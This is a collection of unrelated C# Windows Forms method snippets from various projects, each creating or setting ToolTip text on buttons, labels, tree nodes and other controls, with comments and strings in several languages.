private void title(string ten, string so, int ind, int y, decimal solieu) { toolTip1 = new ToolTip(); lbl1 = new Label(); lbl1.Text = so; lbl1.Location = new Point(5, y); //736 lbl1.Size = new Size(50, 23); lbl1.TextAlign = ContentAlignment.MiddleCenter; lbl1.BackColor = m.getColor(ind); toolTip1.SetToolTip(lbl1, ten.Trim() + "(" + solieu.ToString().Trim() + ")"); toolTip1.Active = true; this.panel1.Controls.Add(lbl1); lbl1.BringToFront(); }
private void Frm_ShutDown_Load(object sender, System.EventArgs e) { MyTip.SetToolTip(Cmd_Cancel, "Dismiss This Dialog"); MyTip.SetToolTip(Cmd_Shutdown, "Shuts down the system and turns off the power. \n The system must support the power-off feature."); MyTip.SetToolTip(Cmd_LoggOff, "Shuts down all processes running \n Then it logs the user off."); MyTip.SetToolTip(Cmd_Hibernate, "Hibernates the system."); MyTip.SetToolTip(Cmd_Standby, "Suspends the system."); MyTip.SetToolTip(Cmd_Restart, "Shuts down the system and then restarts the system."); }
private void ResRightTree_MouseMove(object sender, System.Windows.Forms.MouseEventArgs e) { string strText = ""; // Point p = this.PointToClient(new Point(e.X, e.Y)); //TreeNode selection = this.GetNodeAt(p); TreeNode selection = this.GetNodeAt(e.X, e.Y); if (m_oldHoverNode == selection) { return; } if (selection != null) { selection.BackColor = SystemColors.Info; NodeInfo nodeinfo = (NodeInfo)selection.Tag; if (nodeinfo != null) { string strState = ""; strState = NodeInfo.GetNodeStateString(nodeinfo); if (nodeinfo.Rights == null) { strText = "对象 '" + selection.Text + "' 权限 -- (未定义); 状态--" + strState; } else if (nodeinfo.Rights == "") { strText = "对象 '" + selection.Text + "' 权限 -- (空); 状态--" + strState; } else { strText = "对象 '" + selection.Text + "' 权限 -- " + nodeinfo.Rights + "; 状态 -- " + strState; } } } toolTip1.SetToolTip(this, strText); if (m_oldHoverNode != selection) { if (m_oldHoverNode != null) { m_oldHoverNode.BackColor = SystemColors.Window; } m_oldHoverNode = selection; } }
public MissionLauncherForm(Logger logger) { InitializeComponent(); prefs = Utilities.LoadPrefs(); txt_missionName.AppendText(LastMission); log_dude = logger; txt_profileName.Text = prefs.ProfileName; // set tooltips FormTooltips.SetToolTip(txt_missionName, Tooltips.MissionLauncher.Mission); FormTooltips.SetToolTip(btn_launch, Tooltips.MissionLauncher.LaunchDebugger); FormTooltips.SetToolTip(btn_modToolsDebugger, Tooltips.MissionLauncher.LaunchDebugger); FormTooltips.SetToolTip(btn_close, Tooltips.MissionLauncher.Close); FormTooltips.SetToolTip(btn_ppsspp, Tooltips.MissionLauncher.PPSSPPAutoLaunch); FormTooltips.SetToolTip(grp_autoLaunchLocation, Tooltips.MissionLauncher.AutoLaunchFileLocation); FormTooltips.SetToolTip(txt_autoLaunchFileLocation, Tooltips.MissionLauncher.AutoLaunchFileLocation); OnLaunchPlatformChanged(); txt_missionName.SelectAll(); }
private void Form1_MouseMove(object sender, System.Windows.Forms.MouseEventArgs e) { bool OverClose, OverMin; OverClose = CloseButton.IsVisible(e.X, e.Y); OverMin = MinButton.IsVisible(e.X, e.Y); ClosePress = OverClose && e.Button == MouseButtons.Left; MinPress = OverMin && e.Button == MouseButtons.Left; if (OverClose && ClosePress == false) { toolTip1.SetToolTip(this, "Close"); } else if (OverMin && MinPress == false) { toolTip1.SetToolTip(this, "Minimize"); } else { toolTip1.SetToolTip(this, ""); } Invalidate(); }
private void SetToolTip() { _toolTip1 = new System.Windows.Forms.ToolTip(); _toolTip1.InitialDelay = 500; _toolTip1.AutoPopDelay = 5000; _toolTip1.ReshowDelay = 500; _toolTip1.ShowAlways = true; _toolTip1.ShowAlways = true; _toolTip1.SetToolTip(this.btCompile, "Compile Code (CTRL+X)"); _toolTip1.SetToolTip(this.btRun, "Run Code (CTRL+R)"); _toolTip1.SetToolTip(this.btSave, "Save Code (CTRL+S)"); _toolTip1.SetToolTip(this.btNewFile, "Create New File (CTRL+N)"); _toolTip1.SetToolTip(this.btLoadFile, "Load Existing File (CTRL+L, or Drag and drop files)"); _toolTip1.SetToolTip(this.tbCode, "(Load files by Drag & Drop)"); _toolTip1.SetToolTip(this.lvAdditional, "(Load files by Drag & Drop)"); _toolTip1.SetToolTip(this.btExport, "Export File (CTRL+E)"); }
private void PrepareTooltips() { ToolTip1 = new System.Windows.Forms.ToolTip(); foreach (Control ctrl in this.Controls) { if (ctrl is Button && ctrl.Tag is string) { ctrl.MouseHover += new EventHandler(delegate(Object o, EventArgs a) { var btn = (Control)o; ToolTip1.SetToolTip(btn, btn.Tag.ToString()); }); } } }
public LogFileControl() { InitializeComponent(); var tooltip1 = new System.Windows.Forms.ToolTip(); tooltip1.SetToolTip(this.buttonBrowse, "Browse for a log file"); var tooltip2 = new System.Windows.Forms.ToolTip(); tooltip2.SetToolTip(this.buttonStop, "Stop logging to file"); this.CheckState(); }
void TemplateDocTemplate_TemplatesAdded(TemplateDoc tmpd, string[] astrNames) { ComboItem ci = FindComboItem(tmpd); foreach (string strName in astrNames) { PictureBox picb = CreatePictureBox(tmpd, tmpd.TileSize, new Tile(tmpd, strName, 0, 0)); ci.m_alsPictureBoxes.Add(picb); toolTip.SetToolTip(picb, strName); } if (tmpd == m_tmpdActive) { FillPanel(ci.m_alsPictureBoxes); } }
private void m_wndListeEntrees_MouseMove(object sender, System.Windows.Forms.MouseEventArgs e) { ListViewItem item = m_wndListeEntrees.GetItemAt(e.X, e.Y); if (item == m_lastItemInTooltip) { return; } if (item == null) { m_tooltip.SetToolTip(m_wndListeEntrees, ""); } else { CVisuEntreeAgenda entree = (CVisuEntreeAgenda)item.Tag; string strText = entree.Entree.Libelle + "\r\n"; if (entree.Entree.Commentaires.Trim() != "") { strText += entree.Entree.Commentaires + "\r\n"; } if (entree.Entree is CEntreeAgenda) { CEntreeAgenda ea = (CEntreeAgenda)entree.Entree; foreach (CRelationEntreeAgenda_ElementAAgenda relation in ea.RelationsElementsAgenda) { if (relation.ElementLie != null) { strText += relation.RelationTypeEntree_TypeElement.Libelle + " : " + relation.ElementLie.DescriptionElement + "\r\n"; } } } m_tooltip.SetToolTip(m_wndListeEntrees, strText); } m_lastItemInTooltip = item; }
private void lblTelefon_MouseHover(object sender, EventArgs e) { ToolTip mToolTip = new System.Windows.Forms.ToolTip(); mToolTip.SetToolTip(this.lblTelefon, "przyjmuję nr tel. w formacie\n" + "xxx xx xx xx\n" + "xxx xx-xx-xx\n" + "(xxx) xx xx xx\n" + "(xxx) xx-xx-xx\n" + "xx xxx xx xx\n" + "xx xxx-xx-xx\n" + "(xx) xxx xx xx\n" + "(xx) xxx-xx-xx\n" ); }
private void btn_ToolTip(object sender, EventArgs e) { try { System.Windows.Forms.Button btn = (System.Windows.Forms.Button)sender; if (btn.Tag.ToString().Length > 0) { System.Windows.Forms.ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(btn, btn.Tag.ToString()); } } catch (Exception ex) { } }
private void m_Globalize() { labelSharedFiles.Text = eLePhantForm.Globalization["LBL_SHAREDFILES"]; buttonReload.Text = eLePhantForm.Globalization["LBL_RELOADSHAREDFILES"]; tabPageDetails.Title = eLePhantForm.Globalization["LBL_DETAILS"]; //tabPageQueue.Title=eLePhantForm.Globalization["LBL_QUEUE"]; label6.Text = eLePhantForm.Globalization["LBL_PATH"] + ":"; label5.Text = eLePhantForm.Globalization["LBL_FILE"] + ":"; labelSessionDownloaded.Text = eLePhantForm.Globalization["LBL_DOWNLOADED"]; labelSessionRequests.Text = eLePhantForm.Globalization["LBL_REQUESTS"]; labelSessionUploaded.Text = eLePhantForm.Globalization["LBL_UPLOADED"]; labelComment.Text = eLePhantForm.Globalization["LBL_COMMENT"]; buttonSetCommet.Text = eLePhantForm.Globalization["LBL_SETCOMMENT"]; toolTip1.SetToolTip(this.buttonOpenFolder, eLePhantForm.Globalization["LBL_OPENFOLDER"]); buttonRename.Text = eLePhantForm.Globalization["LBL_RENAME"]; }
private void Depart_Load(object sender, EventArgs e) { System.Windows.Forms.ToolTip tooltip_Add = new System.Windows.Forms.ToolTip(); System.Windows.Forms.ToolTip tooltip_Delete = new System.Windows.Forms.ToolTip(); System.Windows.Forms.ToolTip tooltip_Edit = new System.Windows.Forms.ToolTip(); tooltip_Add.SetToolTip(this.btn_add, "Cliquez pour ajouter un départ"); tooltip_Delete.SetToolTip(this.btn_delete, "Cliquez pour supprimer un départ"); tooltip_Edit.SetToolTip(this.btn_edit, "Cliquez pour modifier un départ"); // TODO: This line of code loads data into the 'dataSet_Depart.Depart' table. You can move, or remove it, as needed. fill(); BS_Arrive.Position = 0; lien_Reservation(); lien_Client(); lien_Depart(); }
//Evento load de la forma principal private void Form1_Load(object sender, EventArgs e) { //Se crean tooltips de apoyo para el usuario ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.label1, "Selecciona una de las opciones que se muestran debajo"); ToolTip ToolTip2 = new System.Windows.Forms.ToolTip(); ToolTip2.SetToolTip(this.lblSalir, "Salir de la aplicación"); //Se crea la transparencia para el texto del menú principal en base a //la imagen principal. lblNombrePractica.Parent = pbPractica; lblJesus.Parent = pbPractica; lblGrupo.Parent = pbPractica; lblDescripcion.Parent = pbPractica; }
private void Transaction_Load(object sender, EventArgs e) { System.Windows.Forms.ToolTip tooltip_Add = new System.Windows.Forms.ToolTip(); System.Windows.Forms.ToolTip tooltip_Delete = new System.Windows.Forms.ToolTip(); System.Windows.Forms.ToolTip tooltip_Edit = new System.Windows.Forms.ToolTip(); tooltip_Add.SetToolTip(this.btn_add, "Cliquez pour ajouter une transaction"); tooltip_Delete.SetToolTip(this.btn_delete, "Cliquez pour supprimer une transaction"); tooltip_Edit.SetToolTip(this.btn_edit, "Cliquez pour modifier une transaction"); fill(); lien_Trx(); lien_Reserve(); lien_Client(); lien_Chambre(); totalTrx(); }
public void Configure(string ProcessName, string TaskName, string Formulario, Janus.Windows.GridEX.GridEX grilla, string TituloFormularioPadre) { // Levanta todas las variables de configuracion de la grilla de sy_variables controllers.GridVariablesLoader loader = new controllers.GridVariablesLoader(ProcessName, TaskName, false, grilla.Name); GridManagerJanus manager = new GridManagerJanus(grilla); if (Formulario == null) { manager.ConfigureGrid(ProcessName, TaskName, loader); } else { manager.ConfigureGrid(ProcessName, TaskName, loader, Formulario); } this.Init(manager, ProcessName, TaskName, loader); this.EnableMarkControl(loader.AllowMarkRow); this.EnableColumnsControl(loader.AllowDefineVisibleColumns); this.EnableConfigurarStyleGrillaControl(loader.AllowGridConfiguration); this.ConfigureMarkControl(loader.NameMarkRow); this.ConfigureColumnsControl(string.Empty); this.ConfigureConfigurarStyleGrillaControl(ProcessName, TaskName, Formulario, grilla, TituloFormularioPadre); this.EnableExportExcelControl(loader.AllowExportExcel); this.ConfigureExportExcelControl(string.Empty); this._allowGroupCollapse = loader.AllowGroupCollapse; this.ConfigureSortByAgregateColumnControl(grilla); //Matias 20101005 - Tarea 898 this.EnableSaveConfigControl(loader.AllowSaveConfig); this.ConfigureSaveConfigControl(string.Empty, grilla.Name); //FinMatias 20101005 - Tarea 898 if (Security.PerteneceAPerfilSuperior) { toolTipNombreGrilla.SetToolTip(grilla, grilla.Name); } //Matias 20100727 - Tarea 21 _orderCodigoNumerico = Variables.GetValueBool(_processName, _taskName, "GrillaResultado.OrdenCodigoNumerico", "Grillas.OrdenCodigoNumerico", false); //Indica si Codigo lo ordena por String o Int (true==>Int). grilla.SortKeysChanged += new EventHandler(grilla_SortKeysChanged); //Fin Matias 20100727 - Tarea 21 //Matias 20101005 - Tarea 898 if (Security.PerteneceAPerfilSuperior) { this.configurarEventosGrilla(grilla); } //FinMatias 20101005 - Tarea 898 }
private void bufferedPanelColorPalette_Paint(object sender, PaintEventArgs e) { if (_loadedPalette != null) { int x; int y; x = DefaultX; y = DefaultY; e.Graphics.Clear(bufferedPanel1.BackColor); byte index = 0; foreach (Color color in _loadedPalette) { Rectangle bounds; if (x > bufferedPanel1.Width - (CellSize + DefaultX)) { x = DefaultX; y += DefaultY + CellSize + Spacing; } bounds = new Rectangle(x, y, CellSize, CellSize); Label label = new Label(); label.Location = new Point(x, y); label.Size = new Size(new Point((CellSize + DefaultX), (CellSize + DefaultX))); label.BackColor = color; //store the color index label.Tag = index; System.Windows.Forms.ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(label, "" + ToHex(index)); index += 2; label.MouseClick += new MouseEventHandler(labelColor_MouseClick); bufferedPanel1.Controls.Add(label); using (Brush brush = new SolidBrush(color)) e.Graphics.FillRectangle(brush, bounds); e.Graphics.DrawRectangle(Pens.Black, bounds); x += (CellSize + Spacing); } } }
//显示过滤表达式 public void SetFilterExpression() { string strRowFilterText = GlobalObject.GeneralFunction.IsNullOrEmpty(_DataSourceView.RowFilter) ? "" : _DataSourceView.RowFilter.Contains("1=1 AND") ? _DataSourceView.RowFilter.Replace("1=1 AND", string.Empty) : _DataSourceView.RowFilter; var arrFilterText = strRowFilterText.Split(new string[] { " AND " }, StringSplitOptions.RemoveEmptyEntries); var y = 0; //0.先清空表达式再重新绘制控件 FilterHost.PanelFilterText.Controls.Clear(); foreach (var strText in arrFilterText) { //1.新增panel var oPanelText = new Panel(); oPanelText.Name = "oPanelText" + y; oPanelText.Location = new System.Drawing.Point(0, y); oPanelText.Size = new System.Drawing.Size(450, 25); //2.向panel里面新增显示表达式的label var oLabelText = new Label(); oLabelText.Cursor = Cursors.Hand; oLabelText.ForeColor = Color.BlueViolet; oLabelText.AutoSize = true; oLabelText.Location = new System.Drawing.Point(10, 0); oLabelText.Name = "label_filtertext" + y; oLabelText.Text = strText.Trim().Trim(new char[2] { '(', ')' }); oLabelText.Size = new System.Drawing.Size(oLabelText.Text.Length * 8, 25); //3.向panel里面新增删除图标 var oPicBox = new PictureBox(); oPicBox.Image = ((System.Drawing.Image)(resources.GetObject("Delete_16x161"))); oPicBox.Cursor = Cursors.Hand; oPicBox.Location = new Point(oLabelText.Width + 10, 0); oPicBox.Size = new System.Drawing.Size(20, 20); var otooltip = new System.Windows.Forms.ToolTip(); otooltip.SetToolTip(oPicBox, "删除过滤条件"); oPicBox.MouseClick += oPicBox_MouseClick; oPicBox.Tag = oLabelText.Text.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries)[0]; oPanelText.Controls.Add(oPicBox); oPanelText.Controls.Add(oLabelText); y = y + 30; FilterHost.PanelFilterText.Controls.Add(oPanelText); } }